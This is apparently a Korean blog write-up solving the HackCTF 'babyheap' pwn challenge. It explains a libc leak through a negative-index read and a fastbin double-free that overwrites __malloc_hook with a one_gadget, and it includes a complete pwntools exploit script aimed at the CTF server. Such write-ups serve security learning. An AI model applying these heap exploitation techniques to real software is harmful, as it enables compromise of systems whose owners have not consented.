# checksec / file
# process
Heap 주소 저장하는 포인터는 전역변수 ptr에서 관리된다.
FULL RELRO라서 GOT overwrite은 불가능하므로 one gadget 사용해야 한다.
edit하는 함수는 없으므로 one_gadget을 실행시키려면 전역변수의 ptr에 one_gadget 주소를 담아서 free나 puts 시 실행되도록 해야한다.
read(0, ptr[a1], v2)를 보면 ptr은 8바이트일텐데 12바이트만큼 입력해준다.
따라서 4바이트 overflow가 발생한다.
Fast dup into stack이 떠올랐다..
malloc_hook을 one_gadget으로 덮는데 fake chunk가 그 앞에 있어야 한다.
1. libc leak
malloc 할 수 있는 개수가 제한되어 있어서 UAF로 main_arena leak을 하고나면 fake chunk를 생성하고 익스하는데 모자른다.
따라서 malloc 개수를 줄이기 위해 uaf로 main_arena leak하는 과정을 줄이고 다음과 같은 방법을 사용한다.
Elf64_Rel 구조체의 주소들은 함수의 GOT를 값으로 가지는 포인터들이다.
ptr과 dl Elf64_Rel 구조체에 got 가리키는 값이 적힌 주소의 차이를 뺀다.
인덱스이므로 8로 나누면 show에서 그 값을 leak할 수 있다.
show에서 음수는 검사하지 않는 취약점이므로 가능하다.
주의 : leak 시 앞에 “\x00\x00”을 붙여야 한다.
이 주소와 libcBase 차이로 libcBase를 구하고, main_arena, one_Gadget들의 주소들도 구해준다.
2. fake chunk 생성
Fast bin에는 fd만 있고 bk가 없으므로 bk에 fake chunk 주소를 넣어준다.
double free bug를 사용하기 위해 fast chunk를 할당해준다.
fastbin으로 만들 때 헤더 사이즈가 0x10이므로 0x80으로 사이즈를 하지 말고 0x60으로 사이즈를 준다.
Double free 후 bins 상태, 여기서 malloc 시 첫 번째가 할당, 또 malloc 시 두 번째 것이 할당되는데 두 번째의 fd에 fake chunk를 넣는다.
그럼 이렇게 fake chunk가 정상적으로 가리켜지게 된다.
첫 번째 청크 할당된 후 두 상태, 이제 두 번째도 할당
마지막으로 한번 더 할당 시 fake chunk가 할당되고, 이때 값을 넣어준다.
Fake chunk 전 하나 더 malloc 후 해야 fake chunk 할당됨
그래야 이렇게 fake chunk까지 할당된 후 ㄷ른 값이 올라와있다.
3. fake chunk에 값 넣기
fake chunk가 할당되고 나면 값을 넣을 수 있다.
offset을 적절히 구해서 __malloc_hook에 one_gadget 값을 넣는다.
Malloc hook에 덮힌 값을 확인해보면 one_gadget임을 알 수 있다.
4. double free
문제는 6개까지 청크를 할당할 수 있는데 이미 fake chunk를 할당하기 위해 다 써버렸다.
double free로 free의 abort로 corruption이 뜨게 해서 쉘을 딴다.
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./babyheap")
p = remote("ctf.j0n9hyun.xyz", 3030)
elf = ELF("./babyheap")
libc = ELF("./libc.so.6")
def malloc(size, content):
p.sendafter("> ", '1')
p.sendlineafter("size: ", str(size))
p.sendafter("content: ", content)
def free(index):
p.sendafter("> ", '2')
p.sendlineafter("index: ", str(index))
def show(index):
p.sendafter("> ", '3')
p.sendlineafter("index: ", str(index))
ptr_addr = 0x602060
rel_addr = 0x400590
show((rel_addr - ptr_addr)/8)
addr = u64(p.recvline()[:6] + "\x00\x00")
libcBase = addr - 0x844f0
main_arena_88 = libcBase + 0x3c4b78
one_gadget = libcBase + 0xf02a4
malloc_hook = main_arena_88-88-16
log.info("addr : "+hex(addr))
log.info("libcBase : "+hex(libcBase))
log.info("main_arena_88 : "+hex(main_arena_88))
malloc(0x60, 'B'*0x10)
malloc(0x60, 'C'*0x10)
free(0)
free(1)
free(0)
#gdb.attach(p)
malloc(0x60, p64(malloc_hook-35))
malloc(0x60, 'D'*0x10)
malloc(0x60, 'E'*0x10)
malloc(0x60, 'A'*(35-16)+p64(one_gadget))
free(2)
free(2)
p.interactive()
# exploit
[HackCTF] Welcome_REV (Reversing) (0) | 2020.03.09 |
---|---|
[HackCTF] World best encryption tool (0) | 2020.03.09 |
[HackCTF] 풍수지리설 (0) | 2020.02.28 |
[HackCTF] Register (0) | 2020.02.10 |
[HackCTF] RTC (0) | 2020.02.03 |